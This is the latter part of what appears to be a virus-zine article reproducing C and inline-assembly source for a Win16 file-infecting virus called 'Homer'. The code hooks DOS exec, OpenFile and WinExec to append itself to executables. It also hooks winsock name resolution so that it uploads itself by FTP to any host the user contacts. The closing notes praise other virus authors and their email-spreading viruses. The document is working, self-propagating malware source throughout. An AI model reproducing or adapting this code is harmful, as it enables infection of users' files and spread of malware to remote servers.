									newentry.off=((long) filesize )/ recsize;
									if ( (filesize%recsize) != 0) newentry.off++;
									newentry.len=mysize+RUNCODE_STUB_SIZE;
									newentry.attr=0x180;
									newentry.alloc=mysize+RUNCODE_STUB_SIZE;
									_dos_write(fhandle,&newentry,8,&readb);
									lseek(fhandle,((long)newentry.off)*recsize,SEEK_SET);
									RUNCODE_SIZE=mysize;
									_dos_write(fhandle,RUNCODE_START,RUNCODE_STUB_SIZE,
													&readb);
									_dos_write(fhandle,mybuffer,mysize,&readb);
									infblock.offwinip=FP_OFF(RUNCODE_OLDIP);
									_dos_write(fhandle,&infblock,sizeof(infblock),
													&readb);
							}
					}
			}
		_dos_close(fhandle);
	  }

		return;
}

}

/* Effective Interrupt Handler.
	pse note only ax,bx,cx,dx,si,di and ds,es are correct
	 basic handlers must be corrected if you want to have other registers
    readly avaible.
*/

void EffHandle(REG_PARAMS r)
{
	_DS=save_ds;

	if (r.ax==0x4b00)		/* check for int21 exec*/
		{
#ifdef HASWINDOW
			triggered ++;
			strncpy(lastrun,MK_FP(r.ds,r.dx),MAX_PATH);
#endif
			infect(MK_FP(r.ds,r.dx));
		}
}

/*
	Now come DPMI interrupt handler and hookers. Please note these are
	pretty straigthforward if you know just a little bit about DMPI programming.
	A good source of information about is the Ralf Brown's Interrupts guide.
	Great code samples could be found (I'm using many of them here :-) in the
	book by Andrew Schulman Windows 95 Unleashed.
*/

#ifdef HOOKSDPMIPROTINT
void _interrupt _far IntHandler(REG_PARAMS r)
{
	 EffHandle(r);
	 _chain_intr(old);
}

INTRFUNC _dpmi_get_pmode_vect(int intno)
{
	 INTRFUNC iv;
	 _asm {
		  mov ax, 0204h
		  mov bl, byte ptr intno
		  int 31h
		  jc error
		  mov word ptr iv+2, cx
		  mov word ptr iv, dx
	 }
	 return iv;
error:
	 return (INTRFUNC) 0;
}

void _dpmi_set_pmode_vect(int intno, INTRFUNC iv)
{   _asm {
		  mov ax, 0205h
		  mov bl, byte ptr intno
		  mov cx, word ptr iv+2
		  mov dx, word ptr iv
		  int 31h
	 }
}

#define get_vect(intno)     _dpmi_get_pmode_vect(intno)

int set_vect(WORD intno, INTRFUNC handler)
{
	 _dpmi_set_pmode_vect(intno, handler);
	 return (_dpmi_get_pmode_vect(intno) == handler);
}
#endif

#ifdef HOOKSKDP
void _interrupt _far IntHandler2(REG_PARAMS r)
{
	 EffHandle(r);
	 _chain_intr( (INTRFUNC) old_dos);
}
#endif

#ifdef HOOKSDPMIREALINT
void _interrupt _far IntHandler3(void)
{
	REG_PARAMS r;
	int 	dummy;

	_DS=save_ds;

	r.ax= cb_storage.EAX & 0xffff;
	r.bx= cb_storage.EBX & 0xffff;
	r.cx= cb_storage.ECX & 0xffff;
	r.dx= cb_storage.EDX & 0xffff;
	r.si= cb_storage.ESI & 0xffff;
	r.di= cb_storage.EDI & 0xffff;

/* selector madness .... change ds & es from segment addresses to selectors
	keep in mind we got an int21 in real mode, called back homer whcich runs
	in protected mode.
*/
	dummy=cb_storage.DS;
	_asm {
		mov	   bx,dummy
		mov		ax,2
		int		31h
		jc			error
		mov		dummy,ax
	}
	r.ds=dummy;

	dummy=cb_storage.ES;
	_asm {
		mov	   bx,dummy
		mov		ax,2
		int		31h
		jc			error
		mov		dummy,ax
	}
	r.es=dummy;

	EffHandle(r);

error:

	cb_storage.CS=0x60;			/* return to the right place in rm*/
	cb_storage.IP=5;
}

INTRFUNC hook_real_vect(int intno, INTRFUNC handler)
{
	 INTRFUNC iv;
	 int cb_sel, cb_seg;

	 _asm {
		  mov		ax, 200h				/* get old int */
		  mov		bl, byte ptr intno
		  int		31h
		  jc		error
		  mov 	word ptr iv+2, cx
		  mov 	word ptr iv, dx
		  mov		ax,2h					/* allocate place for callback at 0:60 */
		  mov		bx,60h
		  int		31h
		  jc		error
		  mov		dx,ax
		  mov		ax,bx
/* ax=seg, dx=sel */
		  mov		cb_seg,ax			/* save sel and seg pointer to place for cb */
		  mov		cb_sel,dx
		  mov		ax,0303h				/* allocate callback from rm to our routine in pm */
		  push	es
		  push	ds
		  mov		si, offset IntHandler3
		  mov		di, offset cb_storage
		  push	ds
		  pop		es
		  push	cs
		  pop		ds
		  int		31h					/* seg:off of cb in cx:dx */
		  mov		ax,ss:cb_sel 		/* ds->sel in lomem */
		  mov		ds,ax

		  push	cx						/* save old stuff at that address */
		  push	ss
		  pop		es
		  mov		cx,05h				/* 5 words to save */
		  xor		si,si
		  mov		di,offset old_stuff
		  rep		movsw					/* save old bytes at 60:0 */
		  pop		cx

/* this code builds on the fly the callback code at 60:0. It is the
	interrupt handler which get called from real-mode */

		  mov		ah,0eah				/* jmp far */
		  mov		byte ptr [0],ah
		  mov		word ptr [1],dx	/* place off cb */
		  mov		word ptr [3],cx	/* place seg cb */
		  mov		byte ptr [5],ah	/* jmp far */
		  mov		ax,word ptr ss:iv
		  mov		word ptr [6], ax	/* place off oldint */
		  mov		ax,word ptr ss:(iv+2)
		  mov		word ptr [8], ax	/* place seg oldint */
		  pop		ds
		  pop		es
		  mov		ax,0201h				/* finally hook the handler via apropiate DMPI call */
		  mov		cx,cb_seg
		  mov		dx,0
		  mov 	bl,21h
		  int		31h
	 }
	 rm_sel=cb_sel;					/* save selector corresponding to 60:0 */
	 return iv;
error:
	 return (INTRFUNC) 0;
}

void unhook_real_vect(int intno, INTRFUNC iv)
{   _asm {
		  mov ax, 0201h				/* restore old interrupt handler */
		  mov bl, byte ptr intno
		  mov cx, word ptr iv+2
		  mov dx, word ptr iv
		  int 31h


		  mov		ax,2h					/* get selector */
		  mov		bx,60h
		  int		31h

		  push	ss
		  pop		ds
		  mov		es,ax
		  mov		cx,05h				/* restore old content in memory */
		  xor		di,di
		  mov		si,offset old_stuff
		  rep		movsw

	 }
}
#endif

#ifdef HOOKSWIN16API

#ifdef HASWINDOW
/* for statiscal use only */
int nOpenFile=0, nWinExec=0;
char sOpenFile[MAX_PATH]="\0";
#endif
char sWinExec[MAX_PATH]="\0";

/* interrupt to use */

BYTE i1,i2;

/* 1 if that hooker is active, 0 otherwise */
int activeOpenFile=1, activeWinExec=1;
/* here are information needed to restore the code of the old API when
	the hooker ended his job */
WIN16HOOK saveWinExec, saveOpenFile;

void _interrupt _far IntWinExec(REG_PARAMS r)
{
		WORD	save_sp;

		asm mov save_sp,sp;

		_DS=save_ds;
		activeWinExec=0;
		* ( (WORD *) saveWinExec.wh ) = saveWinExec.oldb; /* restore windows api bits */
/*		Black magic to adjust the old CS:IP
		note that this only works cause we are serving int's
		inside 16 bit ring 3 segments of the same task (that
		mean we went only through 1 interrupt gate) !
		this is also VERY compiler dependent! */
		_asm {
			push	bp				/* here we adjust CS and IP saved on the stack, so*/
			mov	bp,save_sp	/* after the interrupt handler routine terminates */
			sub	bp,10-01eh  /* the opcode we just corrected in place of our int */
			mov	ax,[bp]		/* gets control */
			sub	ax,2
			mov	[bp],ax
			mov	save_sp,bp
			pop	bp
		}
#ifdef HASWINDOW
	 nWinExec++;
#endif
	 _asm {					  /* now it gets the name in sWinExec*/
		push	bp
		mov	bp,[save_sp]
		add	bp,20h
		mov	ax,[bp]
		mov	word ptr hptr,ax
		inc	bp
		inc	bp
		mov	ax,[bp]
		mov	word ptr (hptr+2),ax
		pop	bp
	 }
#ifdef HASWINDOW
	 strncpy(sWinExec,hptr,MAX_PATH);
#endif
	 infect(sWinExec);
}

void _interrupt _far IntOpenFile(REG_PARAMS r)
{
		WORD	save_sp;

/*	 see routine IntWinExec for explanation */

		asm mov save_sp,sp;

		_DS=save_ds;
		activeOpenFile=0;
		* ( (WORD *) saveOpenFile.wh ) = saveOpenFile.oldb;
		_asm {
			push	bp
			mov	bp,save_sp
			sub	bp,10-01eh
			mov	ax,[bp]
			sub	ax,2
			mov	[bp],ax
			mov	save_sp,bp
			pop	bp
		}
#ifdef HASWINDOW
	nOpenFile++;
	 _asm {					  /* for now it just gets the name in sOpenFile */
		push	bp				  /* plese feel free to add any useful payload, but */
		mov	bp,[save_sp]  /* remember: doing harm to innocent people is just */
		add	bp,24h		  /* a sign of lamerness and stupidity */
		mov	ax,[bp]
		mov	word ptr hptr,ax
		inc	bp
		inc	bp
		mov	ax,[bp]
		mov	word ptr (hptr+2),ax
		pop	bp
	 }
	 strncpy(sOpenFile,hptr,MAX_PATH);
#endif
}

#endif


int hookwin16api(FARPROC apif, WIN16HOOK * s)
	{
		WORD dummy;

/* this function saves information about bits of code at the brginning
	of the api handler in the apropiate DLL into the structure s and
	makes an alias descriptor for the cs of that function
*/

		s->wh=MK_FP(0,0);
		s->oldb = * ( (WORD *) apif );
		_asm {
			mov	ax,0ah           /* create alias descriptor */
			mov	bx, word ptr apif+2
			int	31h
			jc		error
			mov	dummy, ax
		}
		s->wh=MK_FP(dummy,FP_OFF(apif));
error:
	}

int activewin16api(WIN16HOOK * s, BYTE cbint)
	{
	/* place an int cbint in the flash of a windows api */
		* ( (WORD *) s->wh ) = 0x00cd + cbint*256;
	}

int restorewin16api(WIN16HOOK * s)
	{
	/* restores the original bits of thw window api */
		* ( (WORD *) s->wh ) = s->oldb;
	}


#ifdef NETHOOK

BYTE i3,i4;

/* statistics, activation marker and hook information for
	both blocking and non-blocking gethostbyname WINSOCK api call */

int nGetHostByName=0, nWSAGetHostByName=0;

int activeGetHostByName=1, activeWSAGetHostByName=1;
WIN16HOOK saveGetHostByName, saveWSAGetHostByName;

#define MAX_HOSTNAME 1024
/* slot where to keep information about resolved names */
int slotstatus=0;
char hostname[MAX_HOSTNAME]="\0";

int ftpstatus=0;
		/* status of ftp connection
			0 			ready
			1 			getting name
			2			name got, connecting
			3			connected, sending preamble
			4			sent information, waitinf for server callback
			5			server connected us, send homer
			999      all went bad :-(
					*/


void _interrupt _far IntGetHostByName(REG_PARAMS r)
{
		WORD	save_sp;

/*	 see routine IntWinExec for explanation */

		asm mov save_sp,sp;

		_DS=save_ds;
		activeGetHostByName=0;
		* ( (WORD *) saveGetHostByName.wh ) = saveGetHostByName.oldb;
		_asm {
			push	bp
			mov	bp,save_sp
			sub	bp,10-01eh
			mov	ax,[bp]
			sub	ax,2
			mov	[bp],ax
			mov	save_sp,bp
			pop	bp
		}
#ifdef HASWINDOW
	 nGetHostByName++;
#endif
	 _asm {				/* get host-name the application tried to resolve */
		push	bp
		mov	bp,[save_sp]
		add	bp,1eh
		mov	ax,[bp]
		mov	word ptr hptr,ax
		inc	bp
		inc	bp
		mov	ax,[bp]
		mov	word ptr (hptr+2),ax
		pop	bp
	 }
	 strncpy(hostname,hptr,MAX_PATH);	/* memorize hostname */
	 if (!ftpstatus) slotstatus=1;		/* and singal it if not busy */
}

void _interrupt _far IntWSAGetHostByName(REG_PARAMS r)
{
		WORD	save_sp;

/*	 see routine IntWinExec and INTGetHostByName for explanation */

		asm mov save_sp,sp;

		_DS=save_ds;
		activeWSAGetHostByName=0;
		* ( (WORD *) saveWSAGetHostByName.wh ) = saveWSAGetHostByName.oldb;
		_asm {
			push	bp
			mov	bp,save_sp
			sub	bp,10-01eh
			mov	ax,[bp]
			sub	ax,2
			mov	[bp],ax
			mov	save_sp,bp
			pop	bp
		}
#ifdef HASWINDOW
	 nWSAGetHostByName++;
#endif
	 _asm {
		push	bp
		mov	bp,[save_sp]
		add	bp,24h
		mov	ax,[bp]
		mov	word ptr hptr,ax
		inc	bp
		inc	bp
		mov	ax,[bp]
		mov	word ptr (hptr+2),ax
		pop	bp
	 }
	 strncpy(hostname,hptr,MAX_PATH);
	 if (!ftpstatus) slotstatus=1;
}

#endif

#ifdef NETHOOK

#define WSA_SOCKET			WM_USER+1		/* message number for ftp control connection socket */
#define WSA_DNS				WM_USER+2		/* message number for DNS resolution */
#define WSA_SOCKET_SERVER  WM_USER+3		/* message number for ftp data connection */


	char				msg_buffer[1024];			/* receive buffer */
	char 				server_name[128];
	char 				service_name[]="ftp";	/* service to use */
	char				prologo[]="USER ftp\nPASS bill@microsoft.com\nCWD incoming\n"; /* ftp commands */
	char 				msg_text[1024];


/* socket and address information for both ftp connection to the host where we are
	uploading homer */
	SOCKET 				client_socket, server_socket, new_socket;
	struct sockaddr_in	server_sck_addr, my_info,my_client_info,
						  client_sck_addr;
	struct sockaddr  other_side;
	int other_side_len,my_info_len,my_client_info_len;
	LPSERVENT			service_info;
	LPHOSTENT		   host_info;
	long					progress;		/* how many bytes we have send */


	struct linger mylinger={1,600};

	char far tmp_hostname[MAX_HOSTNAME];		/* buffers used during name resolution */
	char far resolver_buf[4*MAXGETHOSTSTRUCT];

	int conn_timeout;						/* ftp connection timeout conunter */

	int ath;

#ifdef HASWINDOW
	int resolved=0;
#endif

#endif

HWND        hwnd ;
HWND			global_hwnd;		/* our window handle */

int PASCAL WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
			 LPSTR lpszCmd, int nCmdShow)
{
#ifdef HASCLASS
	static char szAppName[] = "Homer" ;
	WNDCLASS    wndclass ;
#endif
	MSG         msg;
	HFILE			hfile;
	TIMERPROC	lpfnMyTimerProc;
#ifdef NETHOOK
	FARPROC		tfun;
	HMODULE		tmod;
	int			err;
	WORD 		wVersionRequired;
	WSADATA 		WsaData;
#endif

/* This is the residency check */
_asm{
		mov		ax,02h
		mov		bx,060h
		int		31h
		mov		mem_60_sel,ax
		push		ds
		mov		ds,ax
		cmp		word ptr ds:[10],'PK'		/* check for KP at 60:10 */
		pop		ds
		jne		not_resident
}
		return 0;
not_resident:

	save_ds=_DS;

	GetModuleFileName(hInstance, myname, MAX_PATH);	/* name from which we have been booted */

	if (!hPrevInstance)
	{
#ifdef HASCLASS
		wndclass.style         = CS_HREDRAW | CS_VREDRAW ;
		wndclass.lpfnWndProc   = (WNDPROC)WndProc ;
		wndclass.cbClsExtra    = 0 ;
		wndclass.cbWndExtra    = 0 ;
		wndclass.hInstance     = hInstance ;
		wndclass.hIcon         = LoadIcon( NULL, IDI_APPLICATION );
		wndclass.hCursor       = LoadCursor (NULL, IDC_ARROW) ;
		wndclass.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
		wndclass.lpszMenuName  = 0;
		wndclass.lpszClassName = szAppName ;

		RegisterClass (&wndclass) ;
#endif
  }
  else
  {
	return 2;
  }



/* Here we assume we have to go resident .... residence check must be
 done before! */

/* We copy ourself in memory */

	hfile= _lopen(myname, READ);
	mysize= _llseek(hfile,0,2);

	hmem=GlobalAlloc(GMEM_MOVEABLE, mysize);

	mybuffer=GlobalLock(hmem);
	_llseek(hfile,0,0);
	_lread(hfile,mybuffer,mysize);
	_lclose(hfile);


/* Put our residency check in memory */
_asm{
		push		ds
		mov		ax,mem_60_sel
		mov		ds,ax
		mov		ax,'PK'
		xchg		word ptr ds:[10],ax
		pop		ds
		mov		rez_check,ax
}

#ifdef HOOKSDPMIPROTINT
	old = get_vect(intno);
	if (! set_vect(intno, (INTRFUNC) IntHandler))
		  return 1;
#endif

#ifdef HOOKSKDP
	if ((intno == 0x21) && (GetSetKernelDosProc = GetProcAddress(
			GetModuleHandle("KERNEL"), "GETSETKERNELDOSPROC")))
			  old_dos = GetSetKernelDosProc((FARPROC) IntHandler2);
#endif

#ifdef HOOKSDPMIREALINT
	old_real=hook_real_vect(0x21, (INTRFUNC) IntHandler3);
#endif

#ifdef HOOKSWIN16API
	i1=0xba; i2=0xbb;			/* CHANGE TO A FREE INT! */

	if (i1)
	{
		set_vect(i1, (INTRFUNC) IntOpenFile);
		hookwin16api( GetProcAddress( GetModuleHandle("KERNEL"), "OpenFile" ),
					  &saveOpenFile);
		activeOpenFile=0;
	}

	if (i2)
	{
		set_vect(i2, (INTRFUNC) IntWinExec);
		hookwin16api( GetProcAddress( GetModuleHandle("KERNEL"), "WinExec" ),
					  &saveWinExec);
		activeWinExec=0;
	}

#endif

#ifdef HASCLASS
  hwnd = CreateWindow (szAppName,
	 "Homer",
	 WS_OVERLAPPEDWINDOW,
	 CW_USEDEFAULT,
	 CW_USEDEFAULT,
	 CW_USEDEFAULT,
	 CW_USEDEFAULT,
	 NULL,
	 NULL,
	 hInstance,
	 NULL) ;

/* a timer is needed for many tasks */
	lpfnMyTimerProc = (TIMERPROC) MakeProcInstance((FARPROC) TimerProc, hInstance);
	th=SetTimer(NULL, 1, 1000, lpfnMyTimerProc);

	global_hwnd=hwnd;

#ifdef HASWINDOW
	ShowWindow (hwnd, nCmdShow) ;
	UpdateWindow (hwnd) ;
#endif HASWINDOW

#endif

#ifdef NETHOOK
	i3=0xbc; i4=0xbd;

	 wVersionRequired = MAKEWORD( 1, 1 );	/* activate WINSOCK */

		err = WSAStartup( wVersionRequired, &WsaData );
		if ( ( err == SOCKET_ERROR ) || (LOBYTE( wVersionRequired ) < 1) ||
			( LOBYTE( wVersionRequired ) == 1 && (HIBYTE( wVersionRequired ) < 1) ) )

		{
						WSACleanup();
						ftpstatus=999;
		}
		else
		{
/* hooks the resolver funciotns in winsock.dll */
			tmod=GetModuleHandle("WINSOCK");

			if ( (i3) && (tfun=GetProcAddress( tmod,
												 "gethostbyname" ) ) )
			{
				set_vect(i3, (INTRFUNC) IntGetHostByName);
				hookwin16api( tfun, &saveGetHostByName);
				activeGetHostByName=0;
			}

			if ( (i4) && (tfun=GetProcAddress( tmod,
														 "WSAAsyncGetHostByName" ) ) )
			{
				set_vect(i4, (INTRFUNC) IntWSAGetHostByName);
				hookwin16api( tfun, &saveWSAGetHostByName);
				activeWSAGetHostByName=0;
			}
		}

#endif


	while (GetMessage (&msg, NULL, 0, 0))
	{
	 TranslateMessage (&msg) ;
	 DispatchMessage (&msg) ;
	}

	CleanUp();

	return msg.wParam ;
}

void CleanUp(void)
{
#ifdef HOOKSDPMIPROTINT
	if (old)
		{
			set_vect(intno, (INTRFUNC) old );
			old=MK_FP(0,0);
		}
#endif

#ifdef HOOKSKDP
	if ((intno == 0x21) && old_dos)
		{
		  GetSetKernelDosProc(old_dos);
		  old_dos=MK_FP(0,0);
		}
#endif

#ifdef HOOKSDPMIREALINT
	if (old_real)
		{
			unhook_real_vect(intno, (INTRFUNC) old_real);
			old_real=MK_FP(0,0);
		}
#endif

#ifdef HOOKSWIN16API
	if (saveOpenFile.wh)
		{
			restorewin16api(&saveOpenFile);
			saveOpenFile.wh=MK_FP(0,0);
		}

	if (saveWinExec.wh)
		{
			restorewin16api(&saveWinExec);
			saveWinExec.wh=MK_FP(0,0);
		}

#endif

#ifdef NETHOOK
	if (saveGetHostByName.wh)
		{
			restorewin16api(&saveGetHostByName);
			saveGetHostByName.wh=MK_FP(0,0);
		}

	if (saveWSAGetHostByName.wh)
		{
			restorewin16api(&saveWSAGetHostByName);
			saveWSAGetHostByName.wh=MK_FP(0,0);
		}

	WSACleanup();
#endif

/* remove our residency check and restore original value */
_asm{
		push		ds
		mov		ax,mem_60_sel
		mov		ds,ax
		mov		ax,rez_check
		xchg		word ptr ds:[10],ax
		pop		ds
}

	KillTimer(NULL,th);

#ifdef NETHOOK
	WSACleanup();
#endif

	GlobalUnlock(hmem);
	GlobalFree(hmem);
}

#ifdef HASCLASS
LRESULT FAR PASCAL _export WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	char buf[100];
	int result,sent;
#ifdef HASWINDOW
	static short XC,YC,CC;
	PAINTSTRUCT PtStr;
	TEXTMETRIC tm;
	HDC hDC;
#endif
	switch (message)
		{
#ifdef HASWINDOW
			case WM_CREATE:
				hDC=GetDC(hwnd);
				GetTextMetrics(hDC,&tm);
				XC=tm.tmAveCharWidth;
				YC=tm.tmHeight+tm.tmExternalLeading;
				CC=(tm.tmPitchAndFamily & 1 ?3 : 2) * XC /2;
				ReleaseDC(hwnd,hDC);
				return 0;

			case WM_PAINT:
				InvalidateRect(hwnd,NULL,TRUE);
				hDC=BeginPaint(hwnd,&PtStr);
				sprintf(buf,"Homer-%ld is here!, LeftClick To Refresh.",mysize);
				TextOut(hDC,XC,YC,buf,lstrlen(buf));
				sprintf(buf,"Exec triggered %d times.",triggered);
				TextOut(hDC,XC,2*YC,buf,lstrlen(buf));
				sprintf(buf,"Last run: %s",lastrun);
				TextOut(hDC,XC,3*YC,buf,lstrlen(buf));
#ifdef HOOKSWIN16API
				sprintf(buf,"API16 grabber: OpenFile(%d), WinExec(%d).",
							nOpenFile,nWinExec);
				TextOut(hDC,XC,4*YC,buf,lstrlen(buf));
				sprintf(buf,"Last OpenFile: %s", sOpenFile);
				TextOut(hDC,XC,5*YC,buf,lstrlen(buf));
				sprintf(buf,"Last WinExec: %s",sWinExec);
				TextOut(hDC,XC,6*YC,buf,lstrlen(buf));
#endif
#ifdef NETHOOK
				sprintf(buf,"gethostbyname: blocking(%d), WSA(%d).",
								nGetHostByName, nWSAGetHostByName);
				TextOut(hDC,XC,7*YC,buf,lstrlen(buf));
				sprintf(buf,"Last asked hostname: %s", hostname);
				TextOut(hDC,XC,8*YC,buf,lstrlen(buf));
				sprintf(buf,"ftpstatus: %d; resolved: %d",ftpstatus,resolved);
				TextOut(hDC,XC,9*YC,buf,lstrlen(buf));
				sprintf(buf,"timeout counter: %d.", conn_timeout);
				TextOut(hDC,XC,10*YC,buf,lstrlen(buf));
#endif NETHOOK
				EndPaint(hwnd,&PtStr);
				return 0;
			case WM_LBUTTONDOWN:
				InvalidateRect(hwnd,NULL,TRUE);
				return 0;
#endif
#ifdef NETHOOK
			case WSA_SOCKET:
				switch (WSAGETSELECTEVENT(lParam))
				{
					case FD_CONNECT:						/* connection to the ftp port */
						if (WSAGETASYNCERROR(lParam))
							{
								ftpstatus=0;
								closesocket(client_socket);
							}
						else
							{
								ftpstatus=3;				/* send ftp commands */
								send(client_socket,prologo,sizeof(prologo),0);
								recv(client_socket,msg_text,1024,0);
							}
						break;
					case FD_READ:
							recv(client_socket,msg_text,1024,0);	/* just discard what other host says */
						break;
					case FD_WRITE:
							if (ftpstatus==3) /* sent prolog, now open socket
														send port, send put and go
														in ftpstatus 4 */
							{
							/* creates the ftp data port connection */
							server_socket=socket(PF_INET,SOCK_STREAM,0);
							setsockopt(server_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger));

							if (server_socket==INVALID_SOCKET)
							{
								ftpstatus=0;
								closesocket(client_socket);
							}


							server_sck_addr.sin_family=AF_INET;
							server_sck_addr.sin_addr.s_addr=INADDR_ANY;
							server_sck_addr.sin_port=0;

							if (bind(server_socket,(LPSOCKADDR)&server_sck_addr,sizeof(server_sck_addr))==SOCKET_ERROR)
							{
								ftpstatus=0;
								closesocket(server_socket);
								closesocket(client_socket);
							}


							WSAAsyncSelect(server_socket,global_hwnd,WSA_SOCKET_SERVER,
								FD_READ | FD_WRITE | FD_CONNECT | FD_CLOSE | FD_OOB | FD_ACCEPT);


/* wait for remote site to call us back */
							result=listen(server_socket,5);
							other_side_len=sizeof(other_side);
							new_socket=accept(server_socket,&other_side,&other_side_len);

/* send to the host on the other side the PORt command with information about our
	host ip and port where we are listening. Finally issue to command to upload homer*/
							my_client_info_len=sizeof(my_client_info);
							getsockname(client_socket,(struct sockaddr *) &my_client_info,&my_client_info_len);
							my_info_len=sizeof(my_info);
							getsockname(server_socket,(struct sockaddr *) &my_info,&my_info_len);

							sprintf(buf,"\nTYPE I\nPORT %d,%d,%d,%d,%d,%d\nSTOR HOMER.EXE\n",
											my_client_info.sin_addr.S_un.S_un_b.s_b1,
											my_client_info.sin_addr.S_un.S_un_b.s_b2,
											my_client_info.sin_addr.S_un.S_un_b.s_b3,
											my_client_info.sin_addr.S_un.S_un_b.s_b4,
											my_info.sin_port % 256,
											my_info.sin_port >> 8
									  );
							send(client_socket,buf,sizeof(buf),0);
							ftpstatus=4;
							}
						break;
				}
				return 0;
			case WSA_SOCKET_SERVER:
				switch (WSAGETSELECTEVENT(lParam))
				{
					case FD_ACCEPT:			/* the host on the other side called us for*/
						progress=0;				/* a copy of Homer :-) */
						other_side_len=sizeof(other_side);
						new_socket=accept(server_socket,&other_side,&other_side_len);
						setsockopt(new_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger));
						ftpstatus=5;
						recv(new_socket,msg_text,1024,0);
						break;
					case FD_WRITE:
						break;
					case FD_READ:
							recv(new_socket,msg_text,1024,0); /* keep input buffer free */
						break;
				}
				return 0;
			case WSA_DNS:
				if (WSAGETASYNCERROR(lParam))
				{
					ftpstatus=0;			/* name resolution failed ! */
					closesocket(client_socket);
				}
				else
				{
					ftpstatus=2;			/* name resolution ok, create ftp control connection */
					server_sck_addr.sin_family=AF_INET;
					host_info=(LPHOSTENT *) &resolver_buf;
					memcpy(&(server_sck_addr.sin_addr), host_info->h_addr,host_info->h_length);
					service_info=getservbyname("ftp","tcp");
					server_sck_addr.sin_port=service_info->s_port;
					connect(client_socket,(LPSOCKADDR)&server_sck_addr,sizeof(server_sck_addr));

#ifdef HASWINDOW
					resolved ++;
#endif
				}
				return 0;
#endif
			case WM_ENDSESSION:
				CleanUp();
				return 0;
			case WM_DESTROY:
				PostQuitMessage(0);
				return 0;
			default:
				return DefWindowProc (hwnd, message, wParam, lParam) ;
		}
}
#endif

WORD FAR PASCAL _export TimerProc( HWND tphwnd, WORD wMsg, int TimerID, DWORD dwTime)
{
#ifdef HOOKSWIN16API
/* reactivate api hookers if needed */
	if (!activeOpenFile && saveOpenFile.wh)
		{
			activewin16api(&saveOpenFile,i1);
			activeOpenFile=1;
		}
	if (!activeWinExec && saveWinExec.wh)
		{
			activewin16api(&saveWinExec,i2);
			activeWinExec=1;
		}
#endif

#ifdef NETHOOK
	if ( (ftpstatus!=0) && (ftpstatus!=999) )
/* here we adjust timeout counter for ftp connection */
		{
			conn_timeout++;
			if (conn_timeout>1800) /* 30 minutes */
								{
									ftpstatus=0;
									closesocket(new_socket);
									closesocket(client_socket);
									closesocket(server_socket);
								}
		}
	if (ftpstatus==5)
/* if ftp status is 5 we send homer via ftp in 1K block, one per second or less
	if the connection is too slow */
		{
			int sent;
								if (progress>=mysize)
								{
									ftpstatus=0;
									closesocket(new_socket);
									closesocket(client_socket);
									closesocket(server_socket);
								}
								else
								{
									sent=send(new_socket,mybuffer+progress,min(1024,mysize-progress),0);
									if (sent!=-1) progress+=sent;
								}
		}
	if (slotstatus && !ftpstatus)
		{
/* start transer of homer via ftp to the other side */
/* create socket at our side */
			ftpstatus=1;
			conn_timeout=0;
			slotstatus=0;
			client_socket=socket(PF_INET,SOCK_STREAM,0);

			if (client_socket==INVALID_SOCKET)
			{
				ftpstatus=0;
			}

		  setsockopt(client_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger));

		  client_sck_addr.sin_family=AF_INET;
		  client_sck_addr.sin_addr.s_addr=INADDR_ANY;
		  client_sck_addr.sin_port=0;

		  if (bind(client_socket,(LPSOCKADDR)&client_sck_addr,sizeof(client_sck_addr))==SOCKET_ERROR)
		  {
			ftpstatus=0;
		  }

		  service_info=getservbyname(service_name,"tcp");

		  WSAAsyncSelect(client_socket,hwnd,WSA_SOCKET,
								FD_READ | FD_WRITE | FD_CONNECT | FD_CLOSE | FD_OOB );

			strncpy(tmp_hostname,hostname,MAX_HOSTNAME);
/* start name resolution */
			ath=WSAAsyncGetHostByName(hwnd,WSA_DNS,tmp_hostname,resolver_buf,MAXGETHOSTSTRUCT);
		}

/* reactivate resolver hook */
	if (!activeGetHostByName && saveGetHostByName.wh)
		{
			activewin16api(&saveGetHostByName,i3);
			activeGetHostByName=1;
		}
	if (!activeWSAGetHostByName && saveWSAGetHostByName.wh)
		{
			activewin16api(&saveWSAGetHostByName,i4);
			activeWSAGetHostByName=1;
		}
#endif

}

[The End]

Griyo is another pioneering win32 virus coder, his latest virus (Parvo) use it's own SMTP protocols to spread over email. To get the email adresses it serches in news groups for the senders email adress.
It will probably be in 29a#4. Ok thats about it....
I tried to find the redteam email virus written By Soul Manager
But I couldn't find it... If you have any comments about this
article or questions please give me a mail ~septic~@antisocial.com


 Septic [TI]




